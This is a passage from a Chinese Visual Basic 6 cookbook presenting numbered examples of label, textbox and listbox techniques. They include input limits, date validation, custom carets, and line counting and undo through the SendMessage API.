PictureBox容器的一种用法是制作工具栏和状态栏。可将Image控件置于PictureBox容器中作为按钮或添加Label显示状态信息。将Align属性设置为Top、Bottom、Left或Right，PictureBox控件将粘贴在窗体的边缘。图10.32就是由一个对齐到底边的PictureBox制作的状态栏，其中还包含了两个可用于显示状态信息的Label控件和一个显示图片的Image控件。

设计过程

（1）新建VB工程，创建一个窗体。

（2）创建窗体菜单。

（3）在窗体上添加一个PictureBox控件，设置其Align属性为Bottom，使其总是显示在窗体底部。

（4）在PictureBox控件上添加一个Image控件和两个Label控件。

（5）主要程序代码如下：



Private Sub Form_Load()
    Label2.Caption = Format(Date, "long date") & "  " & Format(Time, "long time")        '显示日期和事件
End Sub
 
Private Sub jh_Click(Index As Integer)
    Select Case Index
    Case 0
        Load Form1                                        '打开新窗体
        Form1.Show
    Case 1
    End Select
    Label1.Caption = "当前位置： " & jh(Index).Caption                    '显示选择的菜单
End Sub




秘笈心法

心法领悟314：状态栏的Item属性。

Item是集合的默认属性。因此，以下两行程序代码等价。



Print MyCollection(1)
Print MyCollection.Item(1)




Item属性下含有大量的属性，其语法和功能与Panel对象完全相同。



第3篇　控件应用篇

第11章　标准控件应用

第12章　ActiveX控件应用

第13章　自定义组件和第三方控件


第11章　标准控件应用

标签文本框典型实例

列表框、组合框控件应用

按钮选择类控件

图形图像控件应用

滚动条控件

时钟控件

其他应用






 11.1　标签文本框典型实例



 实例315　按设定值使标签自动换行

光盘位置：光盘\MR\11\315

初级

趣味指数：[image: ]




实例说明

Label控件有根据标签宽度自动换行的功能，但是有时需要按照指定的长度对标签的内容换行，这就需要在代码中进行设置。本实例实现按照设定值使标签自动换行，程序的运行效果如图11.1所示。

[image: ]
图11.1　按设定值使标签自动换行



关键技术

本实例通过使用Len函数返回Label控件Caption属性中的文本长度，然后使用Mid语句按照设定的长度提取Label中的字符串。使用Chr(10)为字符串添加回车符。

设计过程

（1）新建VB工程，将默认添加的窗体Caption属性设置为“按设定值使标签自动换行”。

（2）在窗体上添加两个标签控件，设置Label1的Caption属性为一段文字，将Label2的BorderStyle属性设置为1-Fixed Single。

（3）主要程序代码如下：



Private Sub Command1_Click()
    Dim i, l As Integer
    i = 1                                         '起点
    l = 15                                        '自动换行长度
    Do While i <= Len(Label1.Caption)
        Label2.Caption = Label2.Caption & Chr(10) & Mid(Label1.Caption, i, l)
        i = i + l
    Loop
End Sub




秘笈心法

心法领悟315：使用MouseMove事件实现标签动态效果。

使用标签能够模拟按钮动作，同样在标签控件的MouseMove事件中可以通过改变标签背景色或者边框样式来设置一个鼠标滑过的动态效果。



 实例316　使用标签控件模拟按钮动作

光盘位置：光盘\MR\11\316

初级

趣味指数：[image: ]




实例说明

[image: ]
图11.2　使用标签模拟按钮动作



Label控件是用来显示文本的控件，通常用来标注和显示提示信息。本实例巧妙地应用Label控件实现了模拟按钮动作的功能，如图11.2所示，使用标签控件实现按下鼠标产生按钮被按下的效果。

关键技术

本实例的实现主要利用了Label控件的MouseDown和MouseUp事件。当鼠标在Label控件上按下时，设置Label控件为有边框形式，当松开时，设置Label控件为无边框形式。

MouseDown事件在按下鼠标时发生，语法如下：



Private Sub Form_MouseDown(button As Integer, shift As Integer, x As Single, y As Single)




语法部分描述如表11.1所示。

表11.1　MouseDown事件语法部分描述



	部分
	描述



	button
	一个整数，它对应鼠标各个按钮的状态，如果某个按钮按下，其中就有一个二进制位被设置。button参数是具有相应于左按钮（位0），右按钮（位1），以及中间按钮（位2）的一个位字段。这些位的值分别等于1、2和4。它指示这些鼠标按钮的整体状态；3个二进制位中的一些、全部或一个也没有被设置，指示这些按钮中的一些、全部或一个也没有被按下



	shift
	一个整数，该整数相应于Shift、Ctrl和Alt键的状态。某键被按下使得一个二进制位被设置。shift参数是具有相应于Shift键（位0）、Ctrl键（位1），以及Alt键（位2）最少二进制位的一个位字段。这些位的值分别等于1、2和4。shift参数指示这些键的状态。这些位中可能有一些、全部或者一个也没有被设置，指示这些键中的一些、全部或者一个也没有被按下。例如，Ctrl和Alt键都被按下，则shift的值就是6



	x,y
	一个指定鼠标指针当前位置的数。x和y的值所表示的总是通过该对象ScaleHeight、ScaleWidth、ScaleLeft和ScaleTop属性所建立的坐标系统的方式





注意：
 为了对鼠标移动引起的事件进行处理，可使用MouseMove事件过程。

设计过程

（1）新建VB工程，将默认添加的窗体的名称修改为Frm_login，将窗体Caption属性设置为“用户登录”。

（2）在窗体上添加一个Image控件，并设置其Picture属性，使其显示一幅图片。Image控件用于显示登录界面图片。

（3）在窗体上添加两个TextBox控件，设置Text属性为空。

（4）在窗体上添加两个Label控件，设置BackStyle属性值为0-Transparent，设置Caption属性为空。并将这两个Label控件放置在Image图像对应的两个按钮位置。

（5）主要程序代码如下：



Private Sub Label1_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
    Label1.BorderStyle = 1                            '设置有边框
End Sub
 
Private Sub Label1_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)
    Label1.BorderStyle = 0                            '设置无边框
End Sub
Private Sub Label2_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
    Label2.BorderStyle = 1                            '设置有边框
End Sub
 
Private Sub Label2_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)
    Label2.BorderStyle = 0                            '设置无边框
End Sub




秘笈心法

心法领悟316：Caption属性使用技巧。

Caption属性用于设置和返回显示在Label控件中的内容，也可以使用Caption属性赋予控件一个访问键，设置时，在想要指定为访问键的字符前加一个（&）符号。该字符在显示时就带有一个下划线。同时按Alt键和带下划线的字符即可把焦点移动到该控件上。



 实例317　限制文本框输入字符数

光盘位置：光盘\MR\11\317

初级

趣味指数：[image: ]




实例说明

在开发信息管理系统时，要求限制密码文本框中输入的字符数，例如，本实例中“登录密码”文本框中限制输入的字符数不能超过6个，当输入的字符超过限定，则弹出信息提示对话框，如图11.3所示。

[image: ]
图11.3　限制文本框输入字符数



关键技术

要实现限制文本框输入字符数，主要通过设置TextBox控件的MaxLength属性，其设置方法有两种：

（1）通过代码。可以在窗体加载时加入如下的代码（设置文本框中最多能输入6个字符）：



Text2.MaxLength = 6




（2）通过属性窗口设置MaxLength属性，如图11.4所示。

[image: ]
图11.4　设置MaxLength属性




注意：
 如果长度超过MaxLength属性设置值的文本从代码中赋给TextBox，不会发生错误；但是，只有最大数量的字符被赋给Text属性，而额外的字符将被截去。改变该属性不会对TextBox的当前内容产生影响，但将影响以后对内容的任何改变。

设计过程

（1）新建VB工程，将默认添加的窗体的名称修改为Frm_login，将窗体Caption属性设置为“用户登录”。

（2）在窗体上添加一个Image控件，并设置其Picture属性，使其显示一幅图片。Image控件用于显示登录界面图片。

（3）在窗体上添加两个TextBox控件，设置Text属性为空。

（4）在窗体上添加两个Label控件，设置BackStyle属性值为0-Transparent，设置Caption属性为空。并将这两个Label控件放置在Image图像对应的两个按钮位置。

（5）主要程序代码如下：



Private Sub Form_Load()
    Text1.MaxLength = 6: Text2.MaxLength = 6
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
    If KeyAscii = 13 Then
        Text2.SetFocus
    Else
        If Len(Text1.Text) = 6 Then
            MsgBox "该文本框只能输入6个字符！", , "信息提示": Text1.SetFocus: Exit Sub
        End If
    End If
End Sub
Private Sub Text2_KeyPress(KeyAscii As Integer)
    If KeyAscii = 13 Then
        a = MsgBox("确认成功，即将退出！", 4, "信息提示")
        If a = vbYes Then
            Unload Me
        End If
    Else
        If Len(Text2.Text) = 6 Then
            MsgBox "该文本框只能输入6个字符！", , "信息提示": Text2.SetFocus: Exit Sub
        End If
    End If
End Sub




秘笈心法

心法领悟317：MaxLength属性对文本输入的影响。

如果长度超过MaxLength属性设置值的文本从代码中赋给TextBox，不会发生错误；但是，只有最大数量的字符被赋给Text属性，而额外的字符将被截去。改变该属性不会对TextBox的当前内容产生影响，但将影响以后对内容的任何改变。



 实例318　限制文本框只能输入数字

光盘位置：光盘\MR\11\318

初级

趣味指数：[image: ]




实例说明

在数据输入过程中，对于数值型的数据，如“单价”、“金额”等，应该在输入时判断输入是否为数字。如果是数字，允许录入；如果不是数字，提示用户输入非法。这样可以避免数据操作时产生错误，程序的运行效果如图11.5所示。

[image: ]
图11.5　限制文本框只能输入数字



关键技术

限定文本框中只能输入数字的方法是利用KeyPress或KeyDown事件，判断用户输入键值的ASCII码值，判断用户按的是否是数字键，如果不是则取消用户输入的字符。

设计过程

（1）创建一个VB工程，修改窗体的Caption属性为“计算圆面积”。

（2）在窗体上添加两个标签控件、一个文本框和一个命令按钮。

（3）主要程序代码如下：



Private Sub Text1_KeyPress(KeyAscii As Integer)
    'ASCII码48～57表示按键盘的0～9键，其中13为"回车"；8为"退格"
    If KeyAscii < 48 And KeyAscii <> 13 And KeyAscii <> 8 And KeyAscii <> 46 Then
        'KeyAscii = 0用于取消用户的这一次输入
        KeyAscii = 0
        MsgBox "输入字符必须在0～9之间！", 48, "提示"
    ElseIf KeyAscii > 57 And KeyAscii <> 13 And KeyAscii <> 8 Then
        KeyAscii = 0
        MsgBox "输入字符必须在0～9之间！", 48, "提示"
    End If
End Sub




秘笈心法

心法领悟318：功能键输入。

在限制用户输入非0～9之间的数字的同时，不应限制用户输入“回车”和“退格”，否则将给用户带来不便。



 实例319　自动删除文本中的非法字符

光盘位置：光盘\MR\11\319

初级

趣味指数：[image: ]




实例说明

[image: ]
图11.6　自动删除文本中的数字



本实例实现不允许在文本框中输入数字信息，当在文本框中输入数字信息时，系统将自动将其删除。如图11.6所示，用户输入的数字信息将不显示在文本框中。

关键技术

实现自动删除文本中的非法字符，可以使用IsNumeric函数和Do…Loop语句。

Do…Loop语句块用Do循环重复执行一语句块，且重复次数不定。Do…Loop语句有几种演变形式，但每种都计算数值条件以决定是否继续执行。如同If…Then condition必须是一个数值或者值为True（非零）或False（零）的表达式。

如在下面的Do…Loop循环中，只要condition为True就执行statements。



Do While condition
statements
Loop





说明：
 IsNumeric函数的详细讲解请参见实例079中的关键技术。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加Label控件，设置其Caption属性为“自动删除文本中的数字”。

（3）在窗体上添加一个TextBox控件，设置其MultiLine属性为True，ScrollBars属性为2-Vertical。

（4）主要程序代码如下：



Private Sub Text1_Change()
    If Text1.Text = "" Then
        Text1.SetFocus
        Exit Sub
    Else
        j = Len(Text1.Text)                    '获取文本长度
        Do While (j <> 0)
            c = Left(Right(Text1.Text, j), 1)            '获取最右端字符
            If IsNumeric(c) Then                    '是数字
                Text1.Text = Left(Text1.Text, Len(Text1.Text) - j) + Right(Text1.Text, j - 1)
                Text1.SelStart = Len(Text1.Text)
            End If
            j = j - 1
        Loop
    End If
End Sub




秘笈心法

心法领悟319：调整控件大小技巧。

同时选择多个控件然后按住Shift键，使用方向键调整大小，可同时调整多个控件的大小。这是一个简单实用的方法。



 实例320　格式化文本为指定格式

光盘位置：光盘\MR\11\320

初级

趣味指数：[image: ]




实例说明

[image: ]
图11.7　格式化文本为指定格式



在开发产品销售管理系统时，在“产品编号”文本框要求产品编号信息为添加当天的日期加字母d加编号信息，如图11.7中的“产品编号”文本框。

关键技术

本实例使用了Format函数。


说明：
 Format函数的详细讲解请参见实例171中的关键技术。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个Frame控件。在Frame控件上添加5个Label控件和5个TextBox控件。

（3）在窗体上添加一个ADO控件，由于该控件属于ActiveX控件，因此在使用之前必须从“部件”对话框中添加到工具箱中。具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，选中Microsoft ADO Data Control 6.0（SP4）（OLEDB）复选框，单击“确定”按钮。此时，ADO控件将出现在工具箱中。设置ADO控件的Visible属性为False。其中，ADO控件用于连接数据表。

（4）在窗体上添加3个CommandButton控件。

（5）主要程序代码如下：



Private Sub Command1_Click()  '添加按钮
    Text1.Text = "": Text2.Text = "": Text3.Text = ""
    Text4.Text = "": Text5.Text = ""
    MyStr = Left(Date, 4) & Right(Left(Date, 7), 2) & Right(Date, 2)
    Adodc1.RecordSource = "select * from tb_exp1 order by 产品编号"
    Adodc1.Refresh
    If Adodc1.Recordset.RecordCount > 0 Then
        Adodc1.Recordset.MoveLast
        Text1.Text = MyStr + "d" + Format(Right(Adodc1.Recordset.Fields("产品编号"), 3) + 1, "000")
    Else
        Text1.Text = MyStr + "d001"
    End If
    Command3.Enabled = True
    Command1.Enabled = False
    Text2.SetFocus
End Sub




秘笈心法

心法领悟320：恢复被删除的控件。

在窗体设计时，当连续删除多个控件时，单击“撤销删除”按钮只能恢复最后一个被删除的控件，即撤销操作只能撤销最近一步的删除操作。



 实例321　限定文本框只允许输入日期型数据

光盘位置：光盘\MR\11\321

初级

趣味指数：[image: ]




实例说明

一个软件经常需要用户输入一些数据，而这些数据往往需要一定格式，例如，输入的是一个数值或是一个日期等，这样作为软件的设计者必须想到用户出错的可能性，在用户出错时给予提示和纠正，程序的运行效果如图11.8所示。

[image: ]
图11.8　文本框只允许输入日期型数据



关键技术

本实例使用了IsDate函数判断指定字符串是不是日期类型。如果表达式是日期或可合法地转化为有效日期，则IsDate函数返回True；否则函数返回False。在Microsoft Windows操作系统中，有效的日期范围为公元100年1月1日～公元9999年12月31日；合法的日期范围随操作系统不同而不同。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个文本框控件，设置文本内容为空。

（3）在窗体上添加一个命令按钮。

（4）主要程序代码如下：



Private Sub Text1_LostFocus()
    Dim SomeDate, daysleft As Integer
    If IsDate(Text1.Text) Then
        SomeDate = CDate(Text1.Text)
        daysleft = DateSerial(Year(SomeDate) + 1, 1, 1) - SomeDate
        Text2.Text = "今年还剩: " & daysleft & " 天."
    Else
        MsgBox " 输入日期非法！！！"
        Text1.SetFocus
    End If
End Sub




秘笈心法

心法领悟321：为文本框添加滚动条。

只有当MultiLine属性设置为True时，文本框才能添加滚动条。另外，此属性不能用代码进行设置，因为此属性为只读属性。



 实例322　为文本框设置新的系统菜单

光盘位置：光盘\MR\11\322

中级

趣味指数：[image: ]




实例说明

本实例中在左边的文本框中设置了新的系统菜单，因此，在左边的文本框中单击鼠标右键时，弹出的快捷菜单为自定义的新系统菜单。而在右边的文本框中没有设置新的系统菜单，因此，在单击鼠标右键时，弹出的快捷菜单为系统原有的菜单。如图11.9所示是一个经过处理的图片，主要是使读者明白设置系统菜单和未设置系统菜单的不同。

[image: ]
图11.9　为文本框设置新的系统菜单



关键技术

本实例的实现主要是利用了PopupMenu方法。PopupMenu方法主要用以在MDIForm或Form对象上的当前鼠标位置或指定的坐标位置显示弹出式菜单。此方法的具体使用方法参见本书菜单应用技术弹出式菜单相关实例。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加两个Frame控件。

（3）在两个Frame控件上分别添加一个TextBox控件。设置其MultiLine属性为True，ScrollBars属性为2-Vertical。

（4）在窗体上添加一个Label控件，设置其Caption属性为“在文本框中单击右键弹出系统功能菜单”。

（5）在窗体上添加一个CommandButton控件。

（6）在窗体上添加菜单。从“工具”菜单中选择“菜单编辑器”命令即可打开“菜单编辑器”，也可以在“工具栏”上单击“菜单编辑器”按钮。设计菜单如图11.10所示。

[image: ]
图11.10　创建菜单



（7）主要程序代码如下：



Private Sub Text1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    If Button = 2 Then
        Text1.Enabled = False
        Text1.Enabled = True
        Text1.SetFocus
        PopupMenu MYPUP    '调用用户自定义菜单
    End If
End Sub




秘笈心法

心法领悟322：文本框中的焦点移动。

在一个没有默认按钮的窗体上，在多行TextBox控件中按Enter键将把焦点移动到下一行，如果有默认按钮（按钮的Default属性设置为True）存在，那么必须按Ctrl+Enter键才能把焦点移动到下一行。



 实例323　文本框只能输入小写字母

光盘位置：光盘\MR\11\323

初级

趣味指数：[image: ]




实例说明

向某些程序的文本框中输入数据时，无论键盘的Caps Lock键是否被开启，都只能输入小写的字母。如本实例所示，在输入时输入的大写字母都转变为小写字母，程序的运行效果如图11.11所示。

[image: ]
图11.11　文本框只能输入小写字母



关键技术

为了实现上述功能需要用到文本框控件的LCase函数与SelStart属性。


	LCase函数：用于将字符串转换为小写的字符串。

	SelStart属性：返回或设置所选择的文本的起始点，在这里通过获取与设置它的值来恢复字母大小写转换后的光标位置。




说明：
 如果没有文本被选中，则指出插入点的位置。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个文本框，设置其Multiline属性为True。

（3）主要程序代码如下：



Private Sub Text1_Change()
    Dim old As Integer
    old = Text1.SelStart
    Text1.Text = LCase(Text1.Text)
    Text1.SelStart = old
End Sub




秘笈心法

心法领悟323：文本框只能输入大写字母。

实例323实现使文本框只能输入小写字母，同样也可以使文本框只能输入大写字母。这就要使用UCase函数了。其使用方法与LCase一样，只是会返回一个大写的字符串。



 实例324　为文本框添加列表选择框

光盘位置：光盘\MR\11\324

中级

趣味指数：[image: ]




实例说明

用户添加客户信息时，当添加到所在省份时，单击该文本框右侧的<<按钮，即可在所在省份文本框下面弹出列表选项框。用户可以在该选项框中选择相应的省份。如图11.12所示，用户选择了“吉林省”。

[image: ]
图11.12　为文本框添加列表选择框



关键技术

要实现为TextBox控件添加列表选择框。可以通过控制ListBox控件的可见或不可见来实现。例如，本实例当用户单击<<按钮时，List1控件可见，当用户选定相应的省份时，List1控件不可见。控制ListBox控件的可见与否的属性为Visible属性。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个Frame控件。

（3）在Frame控件上添加8个Label控件，其中Label8控件用于控制ListBox控件的显示和隐藏；在 Frame控件上添加8个TextBox控件，设置其Text属性为空。

（4）在所在省份文本框添加一个ListBox控件，设置其Visible属性为False。

（5）在窗体上添加两个CommandButton控件。

（6）主要程序代码如下：



Private Sub Command1_Click()
    List1.Visible = True                            '列表框可见
End Sub
Private Sub List1_Click()
    Text5.Text = List1.Text                        '将列表项赋给文本框
    List1.Visible = False                            '列表框不可见
    Text5.SetFocus                                '焦点移动到文本框
End Sub




秘笈心法

心法领悟324：文本框输入最大值。

当MaxLength属性值为0时，表示对于用户系统上单行TextBox控件来说，最大值不能超过被内存强制建立的值，并且对于多行TextBox控件而言，最大值大约为32KB。



 实例325　使两个文本框的内容同步

光盘位置：光盘\MR\11\325

初级

趣味指数：[image: ]




实例说明

本实例实现使程序窗体上的两个文本框的内容同步，无论修改哪个文本框的内容，另一个文本框内容都随之改变，程序的运行效果如图11.13所示。

[image: ]
图11.13　使两个文本框内容同步



关键技术

让两个文本框中的内容同步，方法很简单，只需在两个文本框Change事件过程中进行相对赋值即可。当文本框的文本内容改变时触发Change事件。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加两个TextBox控件，设置Text属性值为空。

（3）主要程序代码如下：



Private Sub Text1_Change()
    Text2.Text = Text1.Text
End Sub
Private Sub Text2_Change()
    Text1.Text = Text2.Text
End Sub




秘笈心法

心法领悟325：文本框的滚动条。

多行文本当输入文本超出文本框时多行TextBox控件将使正文卷绕。使用ScrollBars属性也能够在TextBox控件中加入滚动条来加大TextBox控件的显示范围，如果没有指定水平滚动条，那么在多行TextBox中文本将自动地卷绕。



 实例326　在文本框光标处插入文字

光盘位置：光盘\MR\11\326

中级

趣味指数：[image: ]




实例说明

大家知道，设置文本框的文本内容需要设置文本框的Text属性，在代码设计时，只需将要显示的文本内容赋值给文本框的Text属性即可。但是，如何在文本框的当前光标处插入文本就是个问题了。其实这个问题很好解决，本实例就实现在文本框光标处插入指定内容，程序的运行效果如图11.14所示。

[image: ]
图11.14　在文本框光标处插入文字



关键技术

其实实现在文本框光标处插入文字的方法很简单，即是通过使用文本框的SelText属性实现的。SelText属性用于设置或返回包含在控件中的文本。如果给SelText赋值新的字符串，该字符串将替换选定的文本，并且使插入点放到在新插入文本尾之后。如果没有选定文本，则直接在光标处进行插入。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加两个TextBox控件，一个标签控件和一个命令按钮。

（3）主要程序代码如下：



Private Sub Command1_Click()
    Text1.SelText = Text2.Text
    Text1.SetFocus
End Sub




秘笈心法

心法领悟326：替换选定文本。

运行本程序，也可以在文本框内使用鼠标选中一些文字，然后输入要插入的文字，单击“插入”按钮，将会使要插入的文字替换在文本框中选中的内容。



 实例327　文本框获得焦点自动全选

光盘位置：光盘\MR\11\327

初级

趣味指数：[image: ]




实例说明

当焦点落在某文本框控件内部时，VB默认将光标放置在文本框内文本的起始位置。在一些应用程序中当文本框获得焦点时，就自动全选文本框中的所有内容。本实例实现当文本框获得焦点时，文本框内容自动全选，程序的运行效果如图11.15所示。

[image: ]
图11.15　文本框获得焦点自动全选



关键技术

为了实现上述功能，需要设置TextBox控件中两个比较重要的属性。


	SelStart：返回或设置所选择的文本的起始点；如果没有文本被选中，则指出插入点的位置。

	SelLength：返回或设置所选择的字符数。



为了实现选择文本框内全部内容的这一功能，需要将SelStart属性值设置为0，将SelLength属性值设置为文本框中内容的长度。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加两个TextBox控件。

（3）主要程序代码如下：



Public Sub SelectAllText(tb As TextBox)
    tb.SelStart = 0
    tb.SelLength = Len(tb.Text)
End Sub
 
Private Sub Text1_GotFocus()
    Call SelectAllText(Text1)
End Sub
Private Sub Text2_GotFocus()
    Call SelectAllText(Text2)
End Sub




秘笈心法

心法领悟327：实现文本框OVERWRITE功能。

所谓的OVERWRITE功能就是将光标插入到文本框中字符串的某一位置，以光标处为起点，在文本框中输入字符串，将光标后的原字符串自动覆盖掉。在这里可以通过设置文本框的SelLength和SelText实现此功能。设置方法：将SelLength的属性设置为1，将SelText属性设置为当前键盘输入的字母。



 实例328　自定义文本框插入符

光盘位置：光盘\MR\11\328

中级

趣味指数：[image: ]




实例说明

系统默认的文本插入符是一个闪动的黑色竖线，为了美化程序，这里设置个性化的文本插入符。运行程序，将光标置于文本中，即可看到自定义的文本框插入符，程序的运行效果如图11.16所示。

[image: ]
图11.16　自定义文本框插入符



关键技术

这里主要使用CreateCaret函数实现创建插入点，CreateCaret函数根据指定的信息创建一个插入符（光标），并将它选定为指定窗口的默认插入符。插入符可以是一根短线、一个方块或者一幅位图。通常用插入符指示文字在文字框中的插入位置。

其声明语句如下：



Public Declare Function CreateCaret Lib "user32" Alias "CreateCaret" (ByVal hwnd As Long, ByVal hBitmap As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long




参数说明如表11.2所示。

表11.2　CreateCaret函数的参数说明



	参数
	说明



	hwnd
	Long，拥有插入符的那个窗口的句柄



	hBitmap
	Long，用作插入符的一幅位图的句柄。可以是0或1；在这种情况下，插入符可通过nWidth和nHeight参数创建。如设为1，则新插入符以灰色显示；而不是传统的黑色



	nWidth
	Long，采用逻辑单位的插入符的宽度



	nHeight
	Long，采用逻辑单位的插入符的高度




表11.2中的参数hwnd是用来指定插入符所在窗口的句柄，那么如何才能获取插入符所在窗口的句柄呢？其实，只要使用API函数GetFocus即可，下面将对API函数GetFocus进行介绍。

API函数GetFocus用来获得拥有输入焦点的窗口的句柄，语法如下：



Public Declare Function GetFocus Lib "user32" () As Long




返回值：类型为长整型，表示拥有焦点的那个窗口的句柄。如果没有窗口拥有输入焦点，则返回0。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加两个TextBox控件。

（3）主要程序代码如下：



Private Declare Function CreateCaret Lib "user32" (ByVal hwnd As Long, ByVal hBitmap As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function ShowCaret Lib "user32" (ByVal x As Long) As Long
Private Declare Function GetFocus Lib "user32" () As Long
Private Sub Text1_GotFocus()
    Dim Chwd As Long, Phwd As Long, x As Long                            '声明长整型变量
    Chwd = GetFocus                                                   '保存插入符所在窗口句柄
    Phwd = Picture1.Picture                                           '保存位图句柄
    Call CreateCaret(Chwd, Phwd, 10, 10)                                  '创建插入符
    x = ShowCaret(Chwd)                                             '显示插入符
End Sub




秘笈心法

心法领悟328：设置插入符图片。

在为插入符设置图片时要注意，因为显示出来的插入符是被选定的状态，插入符的图片就是设置图片的反色效果，要显示一幅正常的插入符图片，要先将图片反色，添加到插入符上，这样显示出来的才是正常的图片。



 实例329　获取文本框内文本框行数

光盘位置：光盘\MR\11\329

初级

趣味指数：[image: ]




实例说明

在VB中，常用的用来统计在文本框中内容行数的方法是判断在文本框中换行符在文本框中出现的次数。尽管上述方法并不复杂但还不够简单，本实例实现使用API函数获取文本框内文本框行数的功能，程序的运行效果如图11.17所示。

[image: ]
图11.17　获取文本框内文本行数



关键技术

这里使用API函数SendMessage来实现获取文本框内文本行数，SendMessage函数可以帮助大家实现许多意想不到的功能。


说明：
 SendMessage函数的详细讲解请参见实例303中的关键技术。

在所示的参数中需要着重考虑的参数是wMsg，将该参数设置为常数EM_GETLINECOUNT即可通过使用API函数SendMessage获取文本框中文本的行数。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个TextBox控件和一个Label控件。

（3）主要程序代码如下：



Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Const EM_GETLINECOUNT = &HBA
Private Sub Text1_Change()
    Dim lineCount As Long
    On Error Resume Next
    lineCount = SendMessage(Text1.hwnd, EM_GETLINECOUNT, 0&, 0&)
    Label1.Caption = "当前输入行数： " & Format$(lineCount, "##,###")
End Sub




秘笈心法

心法领悟329：统计文本框内文本行数。

在VB中可以通过判断在文本框中换行符在文本框中出现的次数来统计文本框内文本的行数。



 实例330　文本框实现撤销功能

光盘位置：光盘\MR\11\330

初级

趣味指数：[image: ]




实例说明

文本编辑过程中，撤销是经常被用到的操作。这样在编辑出现错误时，能够返回到编辑之前的文本，这样能够更加灵活地进行文本编辑。本实例实现为文本框添加撤销功能，程序的运行效果如图11.18所示。
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图11.18　文本框实现撤销功能

关键技术

在采用VB进行程序开发时，通过使用API函数SendMessage也可以实现“撤销”的功能。SendMessage这个函数的功能就是向指定的窗口发送一条消息，在这里是通过对它的使用来发送一个UNDO消息，实现“撤销”功能。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个TextBox控件和一个命令控件。

（3）主要程序代码如下：



Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Const EM_CANUNDO = &HC6
Private Const EM_UNDO = &HC7
 
Private Sub Command1_Click()                                         '单击此按钮实现“撤销”
    Dim i As Integer
    i = SendMessage(Text1.hwnd, EM_UNDO, 0, 0)                          '向Text1发送“撤销”命令
End Sub




秘笈心法

心法领悟330：设置密码框。

为了软件用户的安全性一般都设置用户名和密码，为了防止秘密被别人看到，在输入密码时，习惯使用“*”代替密码显示。在文本框中将PasswordChar属性设置为一个“*”，即可将此文本框设置为密码框，输入的内容将以“*”显示。


 11.2　列表框、组合框控件应用



 实例331　向列表框控件添加数据

光盘位置：光盘\MR\11\331

初级

趣味指数：[image: ]




实例说明

向列表框控件添加数据是对列表框最基础的操作。可以在程序设计时通过设置列表框控件的List属性来向列表框中添加数据，也可以使用代码进行添加数据。本实例实现在程序运行时，使用3种方法向列表框控件中添加数据，程序的运行效果如图11.19所示。

[image: ]
图11.19　向列表框控件添加数据



关键技术

本实例实现使用代码向列表框中添加数据。这里使用3种方式添加：逐条添加、使用循环语句和来源于数据库。但是，无论使用何种方式，列表框都是使用ListItem对象的AddItem方法向列表中添加数据的。


说明：
 AddItem和RemoveItem方法的详细讲解请参见实例219中的关键技术。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个ListBox控件，用于显示输入的城市名称。

（3）在窗体上添加3个CommandButton控件。

（4）主要程序代码如下：



Private Sub Command1_Click()                                '逐条添加
    List1.Clear                                        '清空列表框
    List1.AddItem "吉林省"
    List1.AddItem "辽宁省 "
    List1.AddItem "河北省 "
End Sub
 
Private Sub Command2_Click()
    List1.Clear                                        '清空列表框
    Dim Entry, I
    For I = 1 To 100                                       '计数值从1～100
        Entry = "Entry " & I                                   '创建输入项
        List1.AddItem Entry                                   '添加该输入项
    Next I
End Sub
 
Private Sub Command3_Click()
    Dim rs As New ADODB.Recordset
    Dim fld
    List1.Clear
    rs.Open "select * from tb_xsd", cnn, adOpenKeyset, adLockOptimistic        '打开记录集
    Set fld = rs.Fields
    For Each fld In rs.Fields
        List1.AddItem fld.Name                               '向ComboBox控件中添加字段
    Next
    rs.Close
End Sub




秘笈心法

心法领悟331：在程序设计时设置List属性。

在窗体设计时为ListBox添加项目需要在List属性中输入数据，每输完一项后，按Ctrl+Enter键换行。



 实例332　利用ListBox控件实现标签式的数据选择

光盘位置：光盘\MR\11\332

初级

趣味指数：[image: ]




实例说明

ListBox控件能够列出一组数据中的各个项，本实例实现的是通过选择ListBox控件中的项目，实现控制菜单项是否可用的目的。运行程序，选中ListBox控件中的标签，则该列表项所控制的菜单项有效，否则无效。其实现效果如图11.20所示。

[image: ]
图11.20　利用ListBox控件实现标签式数据选择



关键技术

设置ListBox控件的Style属性，可以利用ListBox控件实现标签式数据选择。

Style属性可以返回或设置一个值，该值用来指示控件的显示类型和行为，在运行时是只读的，语法如下：



object.Style




参数说明

object：所在处代表一个对象表达式。

对于ListBox控件，Style属性值可设置为以下内容。


	VbListBoxStandard：（0默认值）标准的。ListBox控件按它在Visual Basic老版本中的样子显示；即对象是文本项的列表。

